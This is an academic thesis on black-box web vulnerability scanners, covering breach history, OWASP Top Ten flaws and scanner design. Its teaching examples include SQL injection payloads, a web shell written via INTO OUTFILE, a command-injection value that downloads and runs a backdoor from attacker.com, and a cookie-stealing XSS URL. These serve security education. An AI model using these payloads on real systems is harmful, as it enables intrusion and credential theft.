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Abstract

With the advent of innovative Web 2.0 technologies, web applications play an important role

on the modern-day Internet by delivering rich services such as web-based e-mail to social

networking, on-line banking to e-commerce, as well as a plethora of other functionalities.

However, due to their ever-increasing reliance and complexity, as well as their susceptibility

to poor coding practices, these web applications often face a relentless threat from attackers.

To remediate this threat, web application programmers generally turn to black-box scanners

(tools which examine the security of web applications from a user’s perspective). However,

these tools are far from perfect. In this thesis, we analyze the shortcomings of modern

black-box scanners (such as crawling-limitations and deficiencies related to detecting certain

vulnerabilities) and explore methods which improve their imperfections. In doing so, we

propose methods which adds a modern twist on web application crawling, explore new ways

to detect blind-SQL injection vulnerabilities, as well as give light to an advanced exploitation

technique for blind-SQL injection.
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Chapter 1

Introduction

With the advent of innovative Web 2.0 technologies, web applications play an important

role on the modern-day Internet by providing users with rich services such as web-based

e-mail to social networking, online banking to e-commerce, as well as a plethora of other

functionalities. However, due to their ever-increasing reliance and complexity, as well as their

susceptibility to poor coding practices, these web applications often face a relentless threat

from attackers. Web application vulnerabilities are widespread; in a report published by

MITRE [27] in 2007, four out of the top five vulnerabilities in their Common Vulnerabilities

and Exposures database were web-related. These vulnerabilities ranged from Cross-Site

scripting flaws, SQL injection, local and remote file-inclusion, and directory traversals.

It is far too often that successful exploitations of these web-related vulnerabilities lead

to disastrous outcomes. In February of 2011, the computer security firm HBGary became a

target by a group known as Anonymous. This hacker collective discovered an SQL injection

vulnerability in a poorly-written web-based content-management system which was being

hosted on one of HBGary’s machines. Using this vulnerability, Anonymous was able to

successfully extract usernames and un-salted, hashed passwords of HBGary employees and

ultimately used this information to gain remote shell access to their systems. As a result of
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this attack, thousands of company emails were divulged to the public, file systems on the

HBGary network were erased, and internal phone systems were crippled [26].

As news of Anonymous started hitting the air-waves, smaller and more organized groups

of black-hat hackers started to form. In May of 2011, a group known as LulzSec began

a series of attacks on high profile organizations. One of the group’s first victims was the

American Public Broadcasting Service (PBS). At the time of the attack, PBS’s website was

driven by an “outdated” content management system, and because of this, “made it easier

to break in and spread through the system” [42]. As a result of this attack, LulzSec released

a press statement which contained dumps of all back-end databases, including MySQL root

passwords, and employee login credentials used for the content management system. Also

as a result, the group managed to deface the front page of PBS.org. Although LulzSec did

not explicitly confirm the vector of their attack, because the dumps of the databases were

in a format created by Havij1, we can conclude that it was the result of a SQL injection

vulnerability found somewhere in the content management system.

After gaining attention from media outlets and accruing Twitter followers at a rate of

thousands of per day, LulzSec looked towards the Sony Corporation as their next target. In

June of 2011, the group found a single SQL injection entry point on the website SonyPic-

tures.com and stole user information from tens-of-thousands of people, which included email

addresses, passwords, and birth-dates. As a side-effect of releasing this information to the

public, many users who unfortunately used the same passwords across multiple sites (e-mail,

Facebook, Twitter) faced a substantial amount of collateral damage [41]. Sony later con-

firmed this attack, claiming that personal information for 37,500 people was stolen during

the intrusion [35].

Web applications belonging to high profile organizations are not the only ones who fall

1Havij is a tool used to exploit SQL injection vulnerabilities.
http://itsecteam.com/en/projects/project1.htm
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victim to SQL injection attacks. In September of 2011, in an undisclosed leak on paste-

bin2, a web application hosted on the University of Georgia network fell victim to a hacker

group known as TeaMp0isoN. The group was able to bypass firewalls and network intrusion

detection systems to launch a successful SQL injection attack on the website. Although

usernames and password hashes were divulged in the leak, the application programmer took

the extra step to apply iterative-hashing along with strong salting on the passwords, thereby

decreasing the negative affects of the intrusion.

Although some of the most devastating outcomes arise from SQL injection vulnerabilities,

some which wreak the most havoc are due to cross-site scripting (XSS) attacks. In October

of 2005, security researcher Samy Kamkar came onto the radar by exploiting an XSS vulner-

ability in Myspace, a social-networking website. Being aware of the repercussions of XSS,

Myspace heavily filtered certain XSS-related keywords from being posted onto the profiles

of other users. This filtering proved to be insufficient when Kamkar found that he could use

a few common XSS-evading tricks to get around the filters. In doing so, he created the Samy

Worm [37], a self-replicating worm which would automatically add Kamkar to the viewer’s

friend list, post a witty message to their profile page, as well as inject the worm payload

onto the page itself. Shortly after he published the worm on his own profile, he was able to

infect over a million users’ profiles in under twenty hours, making it the fastest spreading

worm of all time [32]. Because the payload of the worm would send an AJAX request back

to Myspace servers, the worm also caused Myspace servers to crash.

In September of 2010, another case of an XSS vulnerability surfaced when Twitter users

noticed they were being redirected to pornographic websites [28]. Although Twitter was

filtering certain XSS-related keywords, it proved to be insufficient when it was found out that

JavaScript could be triggered through an onMouseOver3 event. Because of the immediate

2pastebin.com is an online paste repository, commonly used for leaking stolen data.
3The OnMouseOver event occurs when the mouse pointer moves over a specified object.
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reaction of the Twitter staff, the vulnerability was patched within a few hours, effectively

disabling further attacks such as a Twitter or drive-by-download worm [48].

In spite of the prevalence of web application vulnerabilities, there exists an abundant

amount of tools on the market which are dedicated to mitigating the negative affects of these

prevalent vulnerabilities. Each tool generally falls within one of two classes of tools. White-

box (or static analysis) tools are software programs which analyze source-code and apply

certain techniques to following the code’s logic to detecting vulnerabilities. Black-box tools,

on the other hand, are software applications which do not rely on source-code for detecting

vulnerabilities. Instead, these tools probe an application’s front-end by fuzzing areas of user-

inputs and takes a more heuristical approach for detecting vulnerabilities. These black-box

tools are generally marketed as “point-and-shoot” penetration testing tools, and are widely

used in the industry. In fact, many web applications which handle sensitive information

are required by law that it be deemed “hacker-proof” by the use and validation of these

tools [36].

It does not come without surprise that, while some of the tools on the market are effective,

many of them provide web application developers with a false sense of security due to inherent

shortcomings. There have been a number of studies which highlight certain limitations

inherent in modern black-box scanners. The foremost limitation is due to a severely limited

crawling component in the black-box tools [45, 46, 32, 30]. Crawling a web application is

arguably the most important aspect of any black-box web scanning tool. If the tool’s crawling

ability is substantial, then it might miss detecting a vulnerability (due to a shortcoming in

an analysis module). However, if the tool’s crawling ability is limited, then it will inevitably

miss detecting a vulnerability (because a flaw cannot be detected if there is no way to reach

a vulnerable page).

The second area where some tools fall short on is their ability to detect blind SQL injection

vulnerabilities. A number of studies [38, 31] exist which have done comparative analysis work
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on popular black-box scanning tools that highlight this shortcoming. Detecting blind SQL

injections pose a special challenge for black-box web scanners because they usually require

some amount of user interaction to detect. This is because in a blind SQL injection scenario,

the behavior of the web application needs to be analyzed in order to determine whether or

not the vulnerability exists.

Finally, because there is always a chance that the detection of a vulnerability might

be incorrect, a sure-fire way to tell whether or not a vulnerability exists is by exploiting

it. In terms of exploitation, we focus our efforts on blind SQL injection. Modern blind

SQL injection exploitation tools usually require a high amount of resources (as we will

see in Chapter 6.3). Current methods for exploiting blind SQL injections usually become

time-intensive and require a high number of requests to the web application in order to be

successful. In a practical setting of testing the security of a web application, this becomes a

limitation and any interference caused from scanning is generally an issue which needs to be

addressed. Inefficient resource usage generally occurs because a new query must be crafted

and executed in order for a piece of information to be retrieved, and efficiently exploiting a

blind SQL injection vulnerability boils down to efficient methods of brute-forcing.

In this thesis, we aim to examine these shortcomings of modern black-box web vulnerabil-

ity scanners, as well as explore ways to address them. In doing so, we present a number of

contributions which take a step in the direction of decreasing the limitations of black-box

web vulnerability scanners. Our first contribution is an in-depth briefing on modern web

application vulnerabilities in which we discuss how web applications can suffer from certain

vulnerabilities. Our second contribution is a result of addressing crawling limitations; a

prototype implementation of a JavaScript based crawler. Our third contribution is an algo-

rithm, implementation, and evaluation for detecting blind SQL injection vulnerabilities. Our

final contribution is the implementation of an advanced exploitation technique for exploiting

blind SQL injection vulnerabilities.
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Chapter 2

Web-related Vulnerabilities

In this chapter, we will discuss background information by providing a comprehensive

overview of the most common web-related vulnerabilities as outlined by the 2010 OWASP

Top Ten Project [23]. Namely, we will discuss the conditions under which each vulnerability

occurs, provide examples of how certain vulnerabilities can be exploited, as well as consider

the variety of adverse affects it can have on the corresponding web application and host

system. We provide an overall summary of the exploitability, prevalence, detectability, and

impact in Table 2.1.

2.1 Injection

In its most general definition, an injection vulnerability occurs whenever a web application

includes untrusted data in a query which is then sent to an interpreter. The goal of an

injection attack is to exploit the syntax of the targeted interpreter, thereby changing its

intended behavior. Any source of data can be the vector of this attack, including internal

sources. Injection vulnerabilities come in a variety of flavors, with some of the most common

ones including SQL injection, XPath injection, LDAP injection, and OS command injection.
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2.1.1 SQL injection

A SQL injection usually occurs whenever unsanitized user data is placed directly into

a SQL statement which is then executed by the Database Management System (DBMS).

SQL injection vulnerabilities can be categorized into two classes. The first class is the

classical, SELECT based SQL injection in which the result-set of the injected query is displayed

somewhere on the web application. The second class of SQL injection flaws is the blind

injection vulnerability. In this type of vulnerability, the result-set of the injection is not

displayed anywhere on the web application, and the only thing which can be inferred is

whether or not the injected query returned any results. Here, we discuss SQL injection in

general, and discuss the details of blind SQL injection in Chapter 5.

The first adverse outcome of a SQL injection attack is an authentication bypass. Consider

the following SQL query written in PHP:

$query = ‘‘SELECT username FROM users WHERE username=‘” . $ POST[‘username’] . ‘‘’ AND
password=‘” . $ POST[‘password’] . ‘‘’”;

This query will return the username of a user whenever the user-supplied username and pass-

word information matches an existing record in the database. The data is taken unsanitized

from the request parameters and is placed into the SQL statement, creating the necessary

scenario for an authentication bypass via SQL injection. Consider the same query after we

input DoesNotMatter as the username and ’ or ‘1’=‘1 as the password:

$query = ‘‘SELECT username FROM users WHERE username=‘DoesNotMatter’ AND password=‘’
or ‘1’=‘1’”;

We see that by injecting SQL into this statement, we can effectively alter its behavior

such that the predicate in the WHERE clause always evaluates to true. In doing so, a web

application which allows authentication based on whether the result-set of the query contains

any rows will be exploited into letting any user into the protected-area.
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The second negative outcome that can arise from exploiting a SQL injection flaw is

information disclosure by extracting data from other tables and databases which the current

DBMS user has access to. Consider the following example in which an employee directory

web application wishes to display the first and last names of its staff members based on an

employee ID number:

$query = ‘‘SELECT fname, lname FROM employees WHERE id=‘‘ . $ GET[‘id’];

while( $row = mysql fetch array(mysql query($query)) ) {
echo $row[‘fname’] . ” ” . $row[‘lname’] . ‘‘\n”;

}

Given a valid, numeric value for the request parameter id, the result-set for this query will

consist of rows of data, where each row contains a first name and a last name. Notice that

because of the given construction of the query, a SQL injection is possible. Consider what

would be the outcome if one were to exploit this query:

$query = ”SELECT fname, lname FROM employees WHERE id=1 UNION SELECT username,
password FROM users”;

By injecting 1 UNION SELECT username,password FROM users into the request parameter

id, we are successfully able to extract data which we should not have access to. Assuming

that a table named users exists with columns username and password, the result-set of

this query will contain first and last names of employees as well as usernames and pass-

words. Since the web application was written to display this information on a web page, this

information would be divulged.

While it is widely known that data disclosure is one of the major outcomes SQL injection,

a common and often unforeseen adverse affect is arbitrary file access and arbitrary OS com-

mand execution via SQL injection. Many brands of DBMSs provide some level of filesystem

access [10, 12, 16]. While most DBMSs leverage permissions that grant users certain levels of

access to databases and tables, access to the filesystem is usually done in the context of the
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system user which the DBMS is running under. Recall the example query for the employee

directory application. Given that the database has the appropriate file1 privilege enabled,

consider the outcome of the following SQL injection:

$query = ”SELECT fname, lname FROM employees WHERE id=1 UNION SELECT load file(‘/etc/
passwd’),2”;

As with before, the result-set of this query will contain first names and last names of em-

ployees. However in addition, it will also contain the contents of /etc/passwd2. As an aside,

the contents will be displayed in the first column, while the value “2” will be displayed in

the second column. Adding arbitrary values to a UNION SELECT SQL injection is a common

trick performed because each result-set going into the UNION SELECT needs to have the same

number of columns in order to be concatenated.

While being able to read arbitrary files is damaging, it is not as destructive as what can

happen with the ability to arbitrarily write files. Consider the following example:

$query = ”SELECT fname, lname FROM employees WHERE id=1 UNION SELECT ‘<?php system(
$ GET[\”cmd\”]); ?>’,2 INTO OUTFILE ‘/var/www/shell.php’”;

Again, this query will return first names and last names, but it will also include a snippet of

PHP source code commonly used for executing shell commands. Assuming that a writable di-

rectory is available under the document root of the web server, this MySQL query will return

the contents of the UNION SELECT and place them into into the file /var/www/shell.php.

Since this directory is in the context of the web server and PHP parser, by browsing to

shell.php and specifying a shell command via the GET parameter cmd, an attacker can

now execute arbitrary shell commands on this host.

1Some DBMSs do not enable file access by default, and there is usually a flag to enable it.
2On Unix and Linux distributions, /etc/passwd contains information relating to system users
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2.1.2 XPath injection

Storing data in relational databases is a popular choice for many web application program-

mers. However, it is not the only available mechanism for doing so. Many web applications

store data in an XML format, and use XPath to retrieve this information. Similar to how

SQL is the query language for relational databases, XPath is the query language for XML

databases. Just as SQL injection vulnerabilities arise from untrusted data sources, XPath

injections can face a similar problem. Consider the following XML database:

<?xml version=”1.0” encoding=”ISO−8859−1”?>
<users>
<user>
<firstname>Bob</firstname>
<lastname>Smith</lastname>
<username>bsmith</username>
<password>dogs123</password>

</user>
<user>
<firstname>Alice</firstname>
<lastname>Sue</lastname>
<username>asue</username>
<password>cats456</password>

</user>
</users>

The XML database described above contains two users, Bob and Alice, along with their cor-

responding username and password. The following XPath query is used in a web application

to perform authentication based on the above database:

$query = ”//users/user[username/text()=‘”.$ POST[‘username’].”’ and password/text()=‘”.$ POST
[‘password’].”’]”;

Notice that unfiltered user data is taken from the request parameters and placed into the

XPath query. Let’s observe what the resulting query looks like after we inject XPath syntax:

$query = ”//users/user[username/text()=‘DoesNotMatter’ and password/text()=‘’ or ‘1’=‘1’]”;
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Similar to SQL injection, if we input DoesNotMatter as the username and ’ or ‘1’=‘1 as

the password, the exploited XPath query will return every user node. If the web application

was allowing authentication based on whether or not the XPath query returned a node,

an attacker would be able to successfully bypass authentication for this application. While

XPath does not provide UNION SELECT operators like SQL, it is still possible to extract

information from an authentication bypass vulnerability described above.

2.1.3 LDAP injection

The Lightweight Directory Access Protocol (LDAP) is used for accessing and maintain-

ing distributed directory information services over TCP/IP. As with other types of injection

attacks, LDAP injection can occur whenever untrusted data is used to create LDAP state-

ments. Depending on the implementation of a web application, successful exploitation of

this type of injection can lead to authentication bypass, privilege escalation, or information

disclosure. Consider the following LDAP search filter written in PHP:

$ldapSearchQuery = ”(cn=” + $ POST[‘user’] + ”)”;

This search filter will search the LDAP database for usernames containing the user-supplied

input. Notice again how this data is not sanitized. If an attacker were to inject LDAP syntax

into this search filter, one possible outcome would be:

$ldapSearchQuery = ”(cn=admin)(|(password=∗))”;

By injecting admin)(|(password=*), the result of this LDAP query would be the disclosure

of the password for the admin username.
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2.1.4 OS command injection

Although not as widespread as other types of injection vulnerabilities, some web appli-

cations can suffer from OS command injection flaws. An exploitation of this vulnerability

occurs when an attacker is able to execute system level commands through a vulnerable ap-

plication. In doing so, the application can become a pseudo shell; injected code is executed

with the same privileges and environment as the web application. Consider the following

PHP snippet:

<?php
system(‘cat ’ . $ GET[‘filename’]);

?>

Although this may seem like a contrived example, a variant of this type of coding prac-

tice is very likely. In this example, the web application is receiving a filename through

a request parameter and is attaching this variable in the PHP system() function. This

function is used for executing OS level shell commands in the context of the web server.

The system-level command cat will read the contents of the provided filename and return

its output. If an attacker were to specify story.txt; wget attacker.com/backdoor.bin;

./backdoor.bin in the filename variable, he could successfully hijack the system() call

and execute arbitrary commands (in this example, downloading and executing a backdoor):

<?php
system(‘cat story.txt; wget attacker.com/backdoor.bin; ./backdoor.bin’);

?>

2.2 Cross-Site Scripting (XSS)

Cross-site scripting is the most prevalent web application vulnerability [24]. Symantec

reports that XSS accounted for about 80% of all security vulnerabilities documented in

2007 [47]. This type of flaw occurs when a web application embeds user-supplied input into
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the page sent to the browser without the proper amount of filtering. XSS comes in three

flavors, non-persistent (reflected), persistent (stored), and DOM-based.

2.2.1 Non-persistent XSS

Non-persistent (or reflected) XSS occurs when data provided by a user (usually through

the parameters of an HTTP request) is immediately used by server-side scripts to generate

content which includes the unsanitized data. HTML documents have a flat, serial structure

which allows the mixing of formatting, control statements and content. Because of this,

including unfiltered user-supplied input in the resulting page can lead to markup and script

injection. The classical reflected XSS example is a vulnerable search engine application.

A search engine typically displays the user’s search string on the results page. Consider

the following example where a server is generating search results for user-supplied keywords

through the keywords GET variable:

// User Request: http://example.com/search.php?keywords=Dogs

//Server Response:
<?php
...

echo ‘<h1>Displaying search results for: ’ .
$ GET[‘keywords’] . ‘</h1><br />’;

...
?>

We see here that any input the user supplies for keywords will be reflected in the search

results of the following page. Because no filtering is done, a user who is baited into following

a modified URL can fall victim to an XSS attack. The following example shows how an

attacker can craft a malicious URL which then steals a user’s cookie:

http://example.com/search.php?keywords=<script>document.write(‘<img src=”http://attacker.com
/cookie stealer.php?c=”’ +document.cookie + ‘>’);</script>
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The URL is crafted to contain JavaScript which embeds an HTML img tag into the results

page. The tag is sourced with the location of the attacker’s website, which attaches stolen

cookie information to the request. The victim’s browser will then send out a request for

the “image”, and cookie information will be stolen3. Stealing cookie information is just one

example of malicious activity that could arise from a successful XSS attack. A more serious

outcome could range from an attacker redressing the page in an attempt to steal further

information from the user, to launching a drive-by-download attack on the victim’s browser

itself.

2.2.2 Persistent XSS

Persistent (or stored) XSS is a more destructive variant of a cross-site scripting vulner-

ability. Recall that in a non-persistent XSS flaw, unsanitized data is only reflected for a

single request. In a stored XSS, the unfiltered data is saved by the server, and is then re-

turned as a part of the web application whenever other users visit. The classical example of

this is an online message board where users can post unfiltered HTML content which other

users can read. Two examples of this is the case of the Samy Worm [37] and the Twitter

onMouseOver [28] incident.

2.2.3 DOM-based XSS

Unlike persistent and non-persistent XSS where the untrusted user data is sent through

the web server before it is returned to any users, DOM-based4 XSS does not require that the

web server receive the malicious payload. Instead, a DOM-based XSS vulnerability occurs

during the client-side processing of the page content. If the web page is using unsanitized

3Note that because this data is contained within the request for the image, the browser’s built-in cross-
domain policies will not be in affect.

4The Document Object Model (DOM) is a standard model for representing HTML and XML content
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user data for any dynamically created content, this behavior opens the door to a DOM-based

attack. Consider the following HTML and JavaScript code:

<html>
<title>Welcome to my homepage</title>
<script>
var pos = document.URL.indexOf(”name=”)+5;
var name = document.URL.substring(pos,document.URL.length);
document.write(”Welcome ” + name);

</script>
</html>

We can see that this web page will dynamically parse the document.location DOM for a

GET variable name and will write the content to the page. A URL containing malicious

payload can be crafted as http://example.com/?name=<script>alert(‘XSS’)</script>

and upon baiting an unsuspecting victim, will execute the JavaScript in the context of the

web page in the victim’s browser.

2.3 Broken Authentication and Session Management

Although it is a difficult task, web developers frequently resort to building custom session

management and authentication schemes. As a result, these custom systems tend to contain

a variety of security flaws. Examples of vulnerabilities which can arise are incorrectly han-

dling logging out, flawed password management (storing plain-text passwords), non-existent

timeout checks, “remember me” features, etc. Because each implementation is unique, these

vulnerabilities can be difficult to find. A seemingly contrived, yet rather possible example

of this can be thought if in the context of an e-commerce application. Consider that a user

wants to share a web page of an item for sale with a friend:

http://example.com/items/toys.php?sessid=616363743A626F62736D697468

In this example, we see that the server is tracking user sessions by appending it to the
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URL of each request. If an unsuspecting user mistakenly divulges this information, the

user’s account on the website would be effectively compromised since the session token could

contain enough information to authenticate anyone who possesses it.

Another example of broken session management is not timing out sessions after a certain

amount of idle time. If an unsuspecting user who visits a website on a public computer who

closes the browser instead of explicitly logging out could leave the site’s session intact. If

another user were to access the website, they would be authenticated with the previous user’s

credentials. Aside from broken session implementations, storing plain-text, unencrypted

passwords in databases or flat files fall into this category of vulnerabilities.

While not directly related to a poor implementation of a session tracking mechanism,

improperly securing a session token as it passes from end-to-end can lead a serious vul-

nerability. Because session tokens are provided to a user on the basis that he has somehow

authenticated with a web application, if the web application does not take the extra measure

to secure the transmission of this token, it can be hijacked and replayed by an attacker (thus

allowing him to browse the web application with the victim’s session). This vulnerability

was highlighted by the proof-of-concept tool called Firesheep 5. With this tool, an attacker

(who has access to the victim’s network and is able to view the victim’s unencrypted HTTP

traffic) can effectively steal session cookies and imitate the user. Although the only real

means of protecting against this type of vulnerability is full encryption of end-to-end traffic,

some mitigation techniques range from using a VPN to employing a more secure level of

wireless encryption.

5Firesheep is a Firefox plug-in which uses a packet sniffer to steal and replay unencrypted cookies for
certain web applications.
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2.4 Insecure Direct Object References

Web applications quite often use enumerable key values or easily guessable names for

objects when rendering web pages. In doing so, they frequently fail to check if the user

requesting the resource has the appropriate access to it. This is known as an insecure direct

object reference flaw. If a user were to access an object directly without being hindered by

any authorization, they would be exploiting this type of vulnerability. Consider the following

URL in which a banking application allows its users to view transaction summaries:

http://examplebank.com/summary.php?accountNo=789456123

We see that a variable which takes an account number as input is available to the user. If

by enumerating this value the user is able to view account information of other users, then

this web application would have an insecure direct object reference vulnerability. This type

of vulnerability is usually coupled with a broken authentication flaw.

2.5 Cross-Site Request Forgery (CSRF)

Cross-site request forgery vulnerabilities occur whenever an attacker creates forged HTTP

requests and coaxes an unsuspecting victim to submit them. Unlike cross-site scripting where

an attacker exploits the trust a user has for a particular website, cross-site request forgery

exploits the trust that a website has in a user’s browser. In order for this attack to work,

a victim’s browser must be authenticated on some website. An attacker then includes a

malicious link or a script in a page which a user accesses. This page then auto-submits

the HTTP request on the user’s behalf on the authenticated site to perform some malicious

action. An example of this can be seen on a vulnerable banking website. Consider that a

user, Bob, is authenticated to his banking website. An attacker then lures Bob to visit his

website which contains the following snippet of code:
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...
<img src=”http://examplebank.com/transferFunds.php?fromAccount=Bob&toAccount=attacker&

amount=20000” />
...

Observe the actions this snippet of code will perform. Assuming that Bob’s banking website

includes functionality to transfer funds by specifying GET variables to a certain script, if

Bob were to load this page, his browser would have effectively transfered $20,000 into the

attacker’s account. Note that this attack will succeed because that HTML img tags will

force the browser to automatically send an HTTP request to whatever value is in the src

attribute, regardless of whether or not it is an image.

2.6 Security Misconfiguration

As the name suggests, this type of vulnerability is due to a misconfiguration at any level of

the application stack (from the underlying web server, to the application server or framework,

to custom code). Security issues which can arise from such a vulnerability can range from an

attacker accessing default accounts, accessing unprotected files or directories, and attacking

unpatched vulnerabilities. Examples of security misconfigurations are running unpatched

web-application frameworks which contain bugs, to leaving default credentials in-place, to

leaving web server directory listing enabled.

2.7 Insecure Cryptographic Storage

Security vulnerabilities that fall into the category of insecure cryptographic storage are

usually ones which deal with storing important data in a plain-text format instead an en-

crypted format. Those vulnerabilities which include encrypted data usually have issues with

unsafe encryption key generation or using a weak encryption algorithm. Attackers generally
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do not break the encryption schemes, but instead will recover keys, find plain-text versions

of data, or attack a channel which decrypts the data for them. The most common example

scenario of this type of vulnerability is an attacker who has extracted password information

from a database. The passwords are hashed, however, they are not salted. This results in

the attacker being able to brute force the hashes in a much shorter amount of time than if

the hashes were salted.

2.8 Failure to Restrict URL Access

A vulnerability which falls into the category of failing to restrict URL access occurs

whenever web applications fail to prevent access to certain privileged resources or URLs. In

doing so, they open the door to these “forceful browsing” vulnerabilities. An example of this

vulnerability can be thought of in the context of a stock-photo purchasing web application.

If the website was flawed in restricting access to high-quality photos, at attacker could

potentially “forcefully browse” to the high-quality photos and download them without first

purchasing them.

2.9 Insufficient Transport Layer Protection

This type of vulnerability occurs whenever a web application fails to protect transport

level communication between the application and the user by sending data in an unencrypted,

plain-text format. An example scenario which can arise is an attacker who can place himself

on the network between a victim and a vulnerable web application. He can then observe the

unencrypted network traffic taking place between the web application and the user, and can

subsequently steal information.

In another example, consider that a web application is using SSL6, however, it is not prop-

6Secure Sockets Layer (SSL) is a cryptographic protocol used for security over the Web
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erly configured. Because of this misconfiguration, users who visit this website are presented

with browser warnings which indicate that they must manually accept an SSL certificate

before they can continue. If users get accustomed to this warning message, then an attacker

who is in the middle of the communication can issue a Man-in-the-Middle attack in which

he can present the user with a fake SSL certificate and redirect them to his own malicious

web application.

2.10 Unvalidated Redirects and Forwards

Usually, web applications will include functionality to redirect users to other pages. If

the target URL is specified through an unvalidated parameter which can be accessed and

tainted by the user, then the application can open itself up to a number of vulnerabilities.

Consider the following example:

http://example.com/redirect.php?url=attacker.com

If a page redirect.php exists which takes in a URL as a parameter, an attacker who is

able to bait an unsuspecting victim into clicking the modified URL will redirect the victim

to the attacker’s website from which he can attempt to phish the victim or launch drive-by-

download attacks.

Simply redirecting victims to malicious websites is just one issue which can arise. A

slightly more complex vulnerability known as “HTTP Response Splitting” can also occur

with a page that allows unvalidated redirects. Consider if redirect.php was implemented

in the following way:

<?php
header(‘Location: ’ . $ GET[‘url’]);

?>

In this PHP snippet, we see that the script is taking the user-supplied URL and is placing
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it directly into a call to PHP’s header()7 function to set the HTTP Location8 directive.

Consider the resulting HTTP response headers if an attacker were to send %0d%0a%0d%0a

<script> alert(‘XSS’) </script> as the value to the URL parameter:

HTTP/1.1 302 Found
Location:

<script>alert(’XSS’)</script>

Recall that in the HTTP protocol, in order for the browser to differentiate between the

response headers and the content, two CRLFs must separate them. Because of this, it is

possible to “split” the response headers before the web server does. In doing so, an attacker

can hijack the call to PHP’s header() function, and can attach arbitrary markup to the

body of the HTTP response. The browser will then render this content, and in the above

example, will execute JavaScript in the context of the web application (opening the door to

an XSS vulnerability).

2.11 File Inclusion and Execution

Although not listed in the 2010 OWASP Top Ten Project, file inclusion vulnerabilities

were ranked 13th in the SANS 2010 Top 25 Series [49]. A file inclusion or execution vul-

nerability comes in two flavors, local and remote. A local file inclusion vulnerability occurs

whenever a web application allows for the user to specify the filename of a local file to include

in the generation of a page. Consider the following example URL and PHP code:

// URL: http://example.com/page.php?filename=main.php

// page.php:
<?php

7header() is used to send a raw HTTP header.
8Setting a URL value for the Location directive in an HTTP response will effectively send a 302 status

code to the browser.
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include($ GET[’filename’]);
?>

The PHP script’s only functionality is to take in a filename from the user and pass it as an

argument to the PHP include()9 function. Because this data is going into the function call

without being properly filtered, consider the result of the following exploit:

http://example.com/page.php?filename=/etc/passwd

Given that the current web application user has the appropriate read permissions, the ap-

plication will open and return the contents of /etc/passwd. This vulnerability would then

allow for an attacker to read arbitrary files on the host system.

The examples given above can apply to a remote file inclusion vulnerability as well.10

Consider the result of the following exploit:

http://example.com/page.php?filename=http://attacker.com/malicious.txt

Recall that the PHP include() function will take the contents of a file and include it in the

current file before it is parsed by the interpreter. Because of this, an attacker can give the

function an address to his remote malicious PHP script which will then be executed on the

host machine of the web application.

9The include() function in PHP takes the content of a specified filename and includes it in the current
file before it is parsed by the PHP interpreter.

10Allowing the server-side interpreter access to remotely include files is generally a configuration flag which
is off by default and must be enabled manually.
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Table 2.1: Overall summary of the exploitability, prevalence, detectability, and impact as
outlined by the 2010 OWASP Top Ten Project [23]

Vulnerability Exploitability Prevalence Detectability Impact
Injection Easy Common Average Severe
Cross-Site Scripting Average Very Widespread Easy Moderate
Broken Authentication
and Session Management

Average Common Average Severe

Insecure Direct Object
References

Easy Common Easy Moderate

Cross-Site Request
Forgery

Average Widespread Easy Moderate

Security Misconfiguration Easy Common Easy Moderate
Insecure Cryptographic
Storage

Difficult Uncommon Difficult Severe

Failure to Restrict URL
Access

Easy Uncommon Average Moderate

Insufficient Transport
Layer Protection

Difficult Common Easy Moderate

Unvalidated Redirects
and Forwards

Average Uncommon Easy Moderate
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Chapter 3

Modern Black-box Web Vulnerability

Scanners

3.1 The Anatomy of a Black-box Scanner

Although there exist a variety of black-box scanners on the market, they all can be seen

as containing three main modules [30]. In this section, we discuss these internal components

as well as describe their roles. Figure 3.1 provides a graphical overview of these components.

3.1.1 Crawler Module

The core functionality of a black-box scanner is to identify and attack URLs which

contain inputs, such as parameters to GET and POST requests, inputs to HTML forms, as

well as URLs which accept file uploads. However, in order to find these inputs, some sort

of crawling mechanism must take on the role of probing the web application by identifying

and following the various links present. This task is controlled by the crawler module of the

black-box scanner. The embedded crawler in most black-box scanners can be run in two

modes, automatic or proxy.
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In the automatic mode, the crawlers begin traversing the application’s link structure given

a root URL. This “point-and-shoot” mode requires the least amount of work with respect

to the end-user of the tool, as they are simply providing a starting URL. A limitation of

this mode is that some scanners might miss some URLs (either due to a limitation of the

crawler’s ability or because of the complexities of the web application itself). Therefore,

most scanners also allow for a proxy mode. In the proxy mode, the scanner is placed into a

“listening” state during which the end-user manually browses through the web application

while the scanner records the requests that are generated.

Most black-box scanners usually provide some other features in the crawling mechanism

such as pages which should be excluded during the crawl, pre-configured form inputs to

use for login forms, as well as some application specific settings (e.g. number of concurrent

crawlers, maximum depth to crawl, etc).

3.1.2 Attacker Module

Once the crawler module gathers the URLs of the web applications, they are sent to the

attacker module. The attacker module’s role is to analyze these URLs and identify points

of user input. After identifying these inputs, for each of the common vulnerabilities, the

attacker module issue a barrage of pre-configured, pre-defined attacks on the inputs of each

URL in order to trigger a vulnerability (e.g. sending JavaScript to detect XSS, or SQL

syntax to detect SQL injection). The format of these attacks are generally well known, and

available through many online sources [22, 44, 43].

3.1.3 Analysis Module

The resulting page which is generated after each of the attacks from the attacker module

is then sent to the analysis module. It is the job of the analysis module to determine whether
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Figure 3.1: Internal component structure of a black-box web vulnerability scanner

or not a particular vulnerability was triggered from any of the attacks. For instance, if the

attacker module attempted to exploit an XSS vulnerability, then the analysis module would

search for the injected JavaScript in the generated page. Likewise, if attempting to detect

whether or not a SQL injection vulnerability was triggered, the analysis module might search

for a SQL error message (which they can then use to infer a SQL injection vulnerability).
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3.2 The Shortcomings of Black-box Scanners

3.2.1 Limitations of Crawling and URL Extraction

Crawling a web application is the act of identifying and following the links present in an

automated and orderly fashion. The ability to effectively crawl and extract URLs is arguably

the most important part of a black-box web scanner. If the web scanner’s crawling ability is

excellent, then it might miss identifying a vulnerability due to a limitation in the attacker

or analysis module. However, if the web scanner’s crawling ability is lacking and is unable

to reach a vulnerable URL, then it will inevitably miss identifying vulnerabilities. For this

reason, it is important to see how modern web vulnerability scanning tools fare when given

the task of identifying URLs on a website.

There have been a number of studies which measure the crawling ability of a variety of

well-known black-box web vulnerability scanners on the market. In two reports comparing

popular web scanners on the market, Suto et al found that a majority of the scanners missed

identifying a majority of vulnerabilities due to the poor coverage provided by the crawler

modules of each tool [45, 46]. Suto found that these limitations were due to the crawlers’

inability to identify URLs created by JavaScript. He points out that while many tools on

the market had a severely limited JavaScript engine, many did not contain any JavaScript

analyzing abilities.

Many web applications on the Internet today are following design principles set forth

by the Web 2.0 trend. In doing so, many of them rely heavily on using style-sheets and

JavaScript to generate menus. These menus often contain links with dynamically generated

URLs. In research done by Grossman et al [32], he points out that because of this trend,

